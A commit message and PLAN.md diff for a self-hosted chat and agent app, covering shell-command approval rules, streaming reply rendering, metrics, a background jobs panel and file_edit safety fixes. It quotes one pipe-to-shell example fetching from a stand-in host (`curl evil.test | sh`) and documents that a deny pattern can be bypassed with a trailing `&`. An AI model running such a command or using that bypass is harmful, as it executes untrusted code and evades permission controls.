A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

PLAN.md

@@ -7,7 +7,7 @@ that would be expensive to revisit. Kept current as work lands; the detail of
 **Status:** usable daily. Streaming chat, attachments, reasoning, tool calling
 with web search, custom HTTP tools and MCP servers, agent chats that work on a
 machine over SSH, a knowledge library, notes, memory and skills, speech in and
-out, users and groups, model administration, installable as an app. 1009 tests,
+out, users and groups, model administration, installable as an app. 1483 tests,
 `ruff` clean.
 
 ---
@@ -56,9 +56,18 @@ be a different project, not a refactor.
 - [x] **The sidebar splits Chat and Agent** — a switch below the pinned models,
       stored on the account, filtering the folder tree as well as the loose
       chats
+- [x] **A reply reads as the sequence it was** — thinking, prose, a tool call,
+      more prose, in the order they happened, rather than three stacked zones
+      with every tool block in the middle. Marks on the row index the three
+      stores; a reply written before them renders exactly as it always did
+- [x] **Blocks open while the reply is still being written** — the ids are
+      stable across every swap and across the final one, and opening a block
+      stops the thread chasing the bottom until you scroll back down
 - [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
       live while streaming and kept afterwards. Estimated with a `~` when the
-      endpoint reports no usage
+      endpoint reports no usage. Two chips: what the reply **cost** and what the
+      conversation now **occupies**, each labelled, both moving between one
+      usage block and the next rather than once a round
 - [x] Compaction — a button, and automatically at a configurable percentage of
       the model's context. Summarised turns are kept and collapsed, not deleted
 - [x] Temporary chats — never listed, swept after a day, with a Keep button
@@ -117,8 +126,14 @@ be a different project, not a refactor.
       nothing. Switchable at any time; read once per reply
 - [x] Enforced in the generation loop, not in the prompt: a rule a model is
       merely told is one a poisoned file can argue with
-- [x] A deny list beats **Auto**; an allow list cannot be matched by a command
-      containing anything that joins two commands together
+- [x] A deny list beats **Auto** for any command it can match; an allow list
+      cannot be matched at all by a command containing anything that joins two
+      commands together. A deny pattern cannot either — so in Auto a compound
+      line runs, which is the trade for Auto not asking about `cd build && make`.
+      See CLAUDE.md; matching each segment would restore both and is not built
+- [x] **Background jobs are visible** — a chip in the composer row counting what
+      is still running, and a panel with each job's command, state, log tail and
+      a Stop button. Survives a restart, because the job does
 - [x] `shell_run`, `file_read`, `file_write`, `file_list` — files over SFTP,
       never through a shell, because the SSH exec protocol has no argv form
 - [x] **Plan mode ends with a plan** you can carry out with one button, which